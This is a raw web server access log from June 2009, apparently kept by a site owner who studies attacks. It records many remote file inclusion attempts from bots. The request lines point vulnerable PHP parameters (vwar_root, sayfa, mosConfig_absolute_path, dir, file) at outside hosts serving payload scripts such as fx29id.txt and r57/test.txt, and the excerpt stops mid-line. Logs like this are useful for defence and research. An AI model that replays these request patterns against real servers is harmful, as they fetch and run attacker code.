/convert/mvcw.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 33656 "-" "Mozilla/5.0" 89.223.3.98 - - [21/Jun/2009:12:51:21 -0600] "GET /rfi.txt%20%20/convert/mvcw.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 33713 "-" "Mozilla/5.0" 89.223.3.98 - - [21/Jun/2009:12:51:21 -0600] "GET /rfi.txt%20%20/convert/mvcw.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 33712 "-" "Mozilla/5.0" 87.118.90.151 - - [21/Jun/2009:13:00:12 -0600] "GET /errors.php?error=http://a2222.altervista.org/id.txt? HTTP/1.1" 302 763 "-" "libwww-perl/5.805" 87.118.90.151 - - [21/Jun/2009:13:00:13 -0600] "GET /errors.php?error=http://a2222.altervista.org/id.txt? HTTP/1.1" 404 33546 "-" "libwww-perl/5.805" 211.49.99.7 - - [21/Jun/2009:13:12:56 -0600] "GET /rfi.txt%20%20/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.handy-porn.com/tranny/id1.txt? HTTP/1.1" 302 827 "-" "Mozilla/5.0" 211.49.99.7 - - [21/Jun/2009:13:12:56 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.handy-porn.com/tranny/id1.txt? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 211.49.99.7 - - [21/Jun/2009:13:12:58 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.handy-porn.com/tranny/id1.txt? HTTP/1.1" 404 33769 "-" "Mozilla/5.0" 211.49.99.7 - - [21/Jun/2009:13:12:58 -0600] "GET /rfi.txt%20%20/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.handy-porn.com/tranny/id1.txt? HTTP/1.1" 404 33824 "-" "Mozilla/5.0" 211.49.99.7 - - [21/Jun/2009:13:12:59 -0600] "GET /rfi.txt%20%20/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.handy-porn.com/tranny/id1.txt? HTTP/1.1" 302 827 "-" "Mozilla/5.0" 211.49.99.7 - - [21/Jun/2009:13:12:59 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.handy-porn.com/tranny/id1.txt? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 211.49.99.7 - - [21/Jun/2009:13:13:00 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.handy-porn.com/tranny/id1.txt? HTTP/1.1" 404 33769 "-" "Mozilla/5.0" 211.49.99.7 - - [21/Jun/2009:13:13:00 -0600] "GET /rfi.txt%20%20/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.handy-porn.com/tranny/id1.txt? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 211.49.99.7 - - [21/Jun/2009:13:13:21 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.handy-porn.com/tranny/id1.txt? HTTP/1.1" 404 563 "-" "Mozilla/5.0" 211.49.99.7 - - [21/Jun/2009:13:13:27 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.handy-porn.com/tranny/id1.txt? HTTP/1.1" 404 563 "-" "Mozilla/5.0" 217.147.29.190 - - [21/Jun/2009:13:50:48 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 553 "-" "Mozilla/5.0" 217.147.29.190 - - [21/Jun/2009:13:50:49 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 302 803 "-" "Mozilla/5.0" 217.147.29.190 - - [21/Jun/2009:13:50:50 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 33726 "-" "Mozilla/5.0" 151.1.154.24 - - [21/Jun/2009:14:05:52 -0600] "GET //main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 772 "-" "Mozilla/5.0" 151.1.154.24 - - [21/Jun/2009:14:05:53 -0600] "GET /%20%20//main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 779 "-" "Mozilla/5.0" 151.1.154.24 - - [21/Jun/2009:14:05:53 -0600] "GET //main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33592 "-" "Mozilla/5.0" 151.1.154.24 - - [21/Jun/2009:14:05:54 -0600] "GET /%20%20//main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33622 "-" "Mozilla/5.0" 151.1.154.24 - - [21/Jun/2009:14:17:17 -0600] "GET /rfi.txt//main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 518 "-" "Mozilla/5.0" 151.1.154.24 - - [21/Jun/2009:14:17:44 -0600] "GET //main.php?sayfa=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33592 "-" "Mozilla/5.0" 62.149.226.223 - - [21/Jun/2009:14:27:30 -0600] "GET /rfi.txt/convert/mvcw.php?step=1&vwar_root=http://www.princesshotelphnompenh.com/images/gallery/small/azuguzo/id.txt??? HTTP/1.1" 404 571 "-" "libwww-perl/5.813" 62.149.226.223 - - [21/Jun/2009:14:27:30 -0600] "GET /convert/mvcw.php?step=1&vwar_root=http://www.princesshotelphnompenh.com/images/gallery/small/azuguzo/id.txt??? HTTP/1.1" 302 821 "-" "libwww-perl/5.813" 62.149.226.223 - - [21/Jun/2009:14:27:31 -0600] "GET /convert/mvcw.php?step=1&vwar_root=http://www.princesshotelphnompenh.com/images/gallery/small/azuguzo/id.txt??? HTTP/1.1" 404 33831 "-" "libwww-perl/5.813" 209.51.133.202 - - [21/Jun/2009:15:13:54 -0600] "GET /convert/mvcw.php?vwar_root=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 209.51.133.202 - - [21/Jun/2009:15:13:54 -0600] "GET /rfi.txt%20%20/convert/mvcw.php?vwar_root=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 302 802 "-" "Mozilla/5.0" 209.51.133.202 - - [21/Jun/2009:15:13:55 -0600] "GET /convert/mvcw.php?vwar_root=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 33752 "-" "Mozilla/5.0" 209.51.133.202 - - [21/Jun/2009:15:13:55 -0600] "GET /rfi.txt%20%20/convert/mvcw.php?vwar_root=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 33801 "-" "Mozilla/5.0" 211.233.11.27 - - [21/Jun/2009:15:32:51 -0600] "GET //skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.eyepro.net//assets/images/v6-i.txt??? HTTP/1.1" 302 868 "-" "libwww-perl/5.79" 211.233.11.27 - - [21/Jun/2009:15:32:52 -0600] "GET //skin_shop/standard/2_view_body/body_default.php?GOODSno=deadbeef&GOODSgs_input=deadbeef&shop_this_skin_path=http://www.eyepro.net//assets/images/v6-i.txt??? HTTP/1.1" 404 34026 "-" "libwww-perl/5.79" 218.38.243.71 - - [21/Jun/2009:15:34:36 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://samhwagolf.com/zb41//latest_skin/default/default_bbs/1.txt? HTTP/1.1" 404 588 "-" "Mozilla/5.0" 218.38.243.71 - - [21/Jun/2009:15:34:37 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://samhwagolf.com/zb41//latest_skin/default/default_bbs/1.txt? HTTP/1.1" 302 838 "-" "Mozilla/5.0" 218.38.243.71 - - [21/Jun/2009:15:34:42 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://samhwagolf.com/zb41//latest_skin/default/default_bbs/1.txt? HTTP/1.1" 404 33892 "-" "Mozilla/5.0" 218.38.243.71 - - [21/Jun/2009:15:35:45 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://samhwagolf.com/zb41//latest_skin/default/default_bbs/1.txt? HTTP/1.1" 404 588 "-" "Mozilla/5.0" 218.38.243.71 - - [21/Jun/2009:15:35:46 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://samhwagolf.com/zb41//latest_skin/default/default_bbs/1.txt? HTTP/1.1" 302 838 "-" "Mozilla/5.0" 218.38.243.71 - - [21/Jun/2009:15:35:47 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://samhwagolf.com/zb41//latest_skin/default/default_bbs/1.txt? HTTP/1.1" 404 33892 "-" "Mozilla/5.0" 211.233.11.27 - - [21/Jun/2009:15:38:22 -0600] "GET /rfi.txt//skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.eyepro.net//assets/images/v6-i.txt??? HTTP/1.1" 404 626 "-" "libwww-perl/5.79" 151.1.154.24 - - [21/Jun/2009:15:55:29 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 810 "-" "Mozilla/5.0" 151.1.154.24 - - [21/Jun/2009:15:55:29 -0600] "GET /rfi.txt%20%20/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 824 "-" "Mozilla/5.0" 151.1.154.24 - - [21/Jun/2009:15:55:30 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33763 "-" "Mozilla/5.0" 151.1.154.24 - - [21/Jun/2009:15:55:30 -0600] "GET /rfi.txt%20%20/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33819 "-" "Mozilla/5.0" 217.29.159.130 - - [21/Jun/2009:16:05:08 -0600] "GET /errors.php?error=http://propertiesmalaysia.com.my/ugc_files/test.txt?? HTTP/1.1" 302 781 "-" "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)" 217.29.159.130 - - [21/Jun/2009:16:05:10 -0600] "GET /errors.php?error=http://propertiesmalaysia.com.my/ugc_files/test.txt?? HTTP/1.1" 404 33631 "-" "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)" 95.168.170.105 - - [21/Jun/2009:16:07:16 -0600] "GET /errors.php?error=http://www.thelegalnews.com/nav/r57/test.txt?? HTTP/1.1" 302 774 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511" 95.168.170.105 - - [21/Jun/2009:16:07:17 -0600] "GET /errors.php?error=http://www.thelegalnews.com/nav/r57/test.txt?? HTTP/1.1" 404 33609 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511" 66.11.230.36 - - [21/Jun/2009:16:44:06 -0600] "GET /rfi.txt/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 598 "-" "Mozilla/5.0" 66.11.230.36 - - [21/Jun/2009:16:44:06 -0600] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 852 "-" "Mozilla/5.0" 66.11.230.36 - - [21/Jun/2009:16:44:07 -0600] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 34022 "-" "Mozilla/5.0" 124.138.156.3 - - [21/Jun/2009:16:45:16 -0600] "GET /rfi.txt/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 598 "-" "Mozilla/5.0" 124.138.156.3 - - [21/Jun/2009:16:45:16 -0600] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 852 "-" "Mozilla/5.0" 124.138.156.3 - - [21/Jun/2009:16:45:22 -0600] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33921 "-" "Mozilla/5.0" 218.38.136.251 - - [21/Jun/2009:16:46:59 -0600] "GET /rfi.txt/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 598 "-" "Mozilla/5.0" 218.38.136.251 - - [21/Jun/2009:16:46:59 -0600] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 852 "-" "Mozilla/5.0" 218.38.136.251 - - [21/Jun/2009:16:47:00 -0600] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33921 "-" "Mozilla/5.0" 218.38.136.251 - - [21/Jun/2009:20:33:44 -0600] "GET /rfi.txt%20%20/?sourcedir=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 781 "-" "Mozilla/5.0" 218.38.136.251 - - [21/Jun/2009:20:33:44 -0600] "GET /?sourcedir=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 747 "-" "Mozilla/5.0" 218.38.136.251 - - [21/Jun/2009:20:33:46 -0600] "GET /?sourcedir=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 200 111035 "-" "Mozilla/5.0" 218.38.136.251 - - [21/Jun/2009:20:33:52 -0600] "GET /rfi.txt%20%20/?sourcedir=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33637 "-" "Mozilla/5.0" 92.104.83.96 - - [22/Jun/2009:11:20:32 -0600] "GET /?seites=http://65.247.182.200/r??? HTTP/1.1" 200 111045 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)" 63.223.85.28 - - [22/Jun/2009:11:38:42 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://jookjunacro.net//bbs/1.txt?%20? HTTP/1.1" 404 526 "-" "Mozilla/5.0" 63.223.85.28 - - [22/Jun/2009:11:38:45 -0600] "GET ///vwar/backup/errors.php?error=http://jookjunacro.net//bbs/1.txt?%20? HTTP/1.1" 302 780 "-" "Mozilla/5.0" 63.223.85.28 - - [22/Jun/2009:11:38:47 -0600] "GET ///vwar/backup/errors.php?error=http://jookjunacro.net//bbs/1.txt?%20? HTTP/1.1" 404 33727 "-" "Mozilla/5.0" 80.247.76.181 - - [22/Jun/2009:11:41:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 818 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:35 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:36 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 797 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:37 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 818 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:37 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:36 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 110840 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:38 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 797 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:37 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47080 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:38 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:38 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111542 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:39 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 818 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:39 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47079 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:40 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 797 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 818 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:39 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111274 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:41 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 797 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:41 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47080 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:40 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111130 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:42 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47080 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:43 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:44 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:44 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:44 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 111079 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:46 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:45 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 111329 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:46 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 47107 "-" "libwww-perl/5.805" 80.247.76.181 - - [22/Jun/2009:11:41:47 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46976 "-" "libwww-perl/5.805" 173.15.28.165 - - [22/Jun/2009:11:41:52 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.805" 173.15.28.165 - - [22/Jun/2009:11:41:52 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111613 "-" "libwww-perl/5.805" 173.15.28.165 - - [22/Jun/2009:11:41:54 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.805" 173.15.28.165 - - [22/Jun/2009:11:41:55 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111581 "-" "libwww-perl/5.805" 173.15.28.165 - - [22/Jun/2009:11:41:58 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 173.15.28.165 - - [22/Jun/2009:11:41:59 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 111508 "-" "libwww-perl/5.805" 208.111.94.201 - - [22/Jun/2009:11:54:03 -0600] "GET /rfi.txt/skin/zero_vote/login.php?dir=http://www.petitbijouonline.com/lang/fatal1.txt???? HTTP/1.1" 404 537 "-" "Mozilla/5.0" 208.111.94.201 - - [22/Jun/2009:11:54:04 -0600] "GET /skin/zero_vote/login.php?dir=http://www.petitbijouonline.com/lang/fatal1.txt???? HTTP/1.1" 302 791 "-" "Mozilla/5.0" 208.111.94.201 - - [22/Jun/2009:11:54:05 -0600] "GET /skin/zero_vote/login.php?dir=http://www.petitbijouonline.com/lang/fatal1.txt???? HTTP/1.1" 404 33755 "-" "Mozilla/5.0" 200.96.152.31 - - [22/Jun/2009:12:01:04 -0600] "GET /index.php?sayfa=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 720 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.96.152.31 - - [22/Jun/2009:12:01:04 -0600] "GET /index.php?sayfa=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 724 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.96.152.31 - - [22/Jun/2009:12:01:04 -0600] "GET //index.php?section=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 722 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.96.152.31 - - [22/Jun/2009:12:02:12 -0600] "GET //?mosConfig_absolute_path=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 738 "-" "Mozilla/3.0 (compatible; Indy Library)" 208.69.177.117 - - [22/Jun/2009:12:09:53 -0600] "GET /rfi.txt//skin_shop/standard/2_view_body/body_default.php?GOODS%5Bno%5D=deadbeef&GOODS%5Bgs_input%5D=deadbeef&shop_this_skin_path=http://www.pintoresenaccion.com/administrator/components/com_virtuemart/idfx1.TXT?? HTTP/1.0" 404 650 "-" "Mozilla/5.0" 208.69.177.117 - - [22/Jun/2009:12:09:53 -0600] "GET //skin_shop/standard/2_view_body/body_default.php?GOODS%5Bno%5D=deadbeef&GOODS%5Bgs_input%5D=deadbeef&shop_this_skin_path=http://www.pintoresenaccion.com/administrator/components/com_virtuemart/idfx1.TXT?? HTTP/1.0" 302 915 "-" "Mozilla/5.0" 208.69.177.117 - - [22/Jun/2009:12:09:53 -0600] "GET //skin_shop/standard/2_view_body/body_default.php?GOODS%5Bno%5D=deadbeef&GOODS%5Bgs_input%5D=deadbeef&shop_this_skin_path=http://www.pintoresenaccion.com/administrator/components/com_virtuemart/idfx1.TXT?? HTTP/1.0" 404 34158 "-" "Mozilla/5.0" 62.149.226.223 - - [22/Jun/2009:12:10:58 -0600] "GET /rfi.txt//skin/zero_vote/login.php?dir=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 529 "-" "Mozilla/5.0" 62.149.226.223 - - [22/Jun/2009:12:10:58 -0600] "GET //skin/zero_vote/login.php?dir=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 783 "-" "Mozilla/5.0" 62.149.226.223 - - [22/Jun/2009:12:10:59 -0600] "GET //skin/zero_vote/login.php?dir=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33642 "-" "Mozilla/5.0" 62.149.226.223 - - [22/Jun/2009:12:11:03 -0600] "GET /rfi.txt//skin/zero_vote/login.php?dir=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 529 "-" "Mozilla/5.0" 62.149.226.223 - - [22/Jun/2009:12:11:03 -0600] "GET //skin/zero_vote/login.php?dir=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 783 "-" "Mozilla/5.0" 62.149.226.223 - - [22/Jun/2009:12:11:04 -0600] "GET //skin/zero_vote/login.php?dir=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33642 "-" "Mozilla/5.0" 200.103.16.12 - - [22/Jun/2009:12:15:29 -0600] "GET /rfi.txt//skin/zero_vote/login.php?dir=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 532 "-" "Mozilla/5.0" 200.103.16.12 - - [22/Jun/2009:12:15:29 -0600] "GET //skin/zero_vote/login.php?dir=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 786 "-" "Mozilla/5.0" 200.103.16.12 - - [22/Jun/2009:12:15:31 -0600] "GET //skin/zero_vote/login.php?dir=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33647 "-" "Mozilla/5.0" 200.96.152.31 - - [22/Jun/2009:12:15:31 -0600] "GET /2009/06/04/controlling an rfi bot/index.php?sayfa=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 749 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.96.152.31 - - [22/Jun/2009:12:15:31 -0600] "GET //index.php?section=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 722 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.96.152.31 - - [22/Jun/2009:12:15:34 -0600] "GET /2009/06/04/index.php?sayfa=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 755 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.96.152.31 - - [22/Jun/2009:12:15:35 -0600] "GET /2009/06/04/controlling an rfi bot/?lang=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 749 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.96.152.31 - - [22/Jun/2009:12:15:35 -0600] "GET /2009/06/04/controlling an .../index.php?sayfa=http://casadocaralho.t35.com/spread.txt?? HTTP/1.1" 302 749 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.103.16.12 - - [22/Jun/2009:12:16:04 -0600] "GET /rfi.txt//skin/zero_vote/login.php?dir=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 532 "-" "Mozilla/5.0" 200.103.16.12 - - [22/Jun/2009:12:16:04 -0600] "GET //skin/zero_vote/login.php?dir=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 786 "-" "Mozilla/5.0" 200.103.16.12 - - [22/Jun/2009:12:16:05 -0600] "GET //skin/zero_vote/login.php?dir=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33647 "-" "Mozilla/5.0" 211.189.40.249 - - [22/Jun/2009:12:20:33 -0600] "GET /rfi.txt//bbs//skin/zero_vote/ask_password.php?dir=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 532 "-" "Mozilla/5.0" 211.189.40.249 - - [22/Jun/2009:12:20:33 -0600] "GET //bbs//skin/zero_vote/ask_password.php?dir=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 302 786 "-" "Mozilla/5.0" 211.189.40.249 - - [22/Jun/2009:12:20:34 -0600] "GET 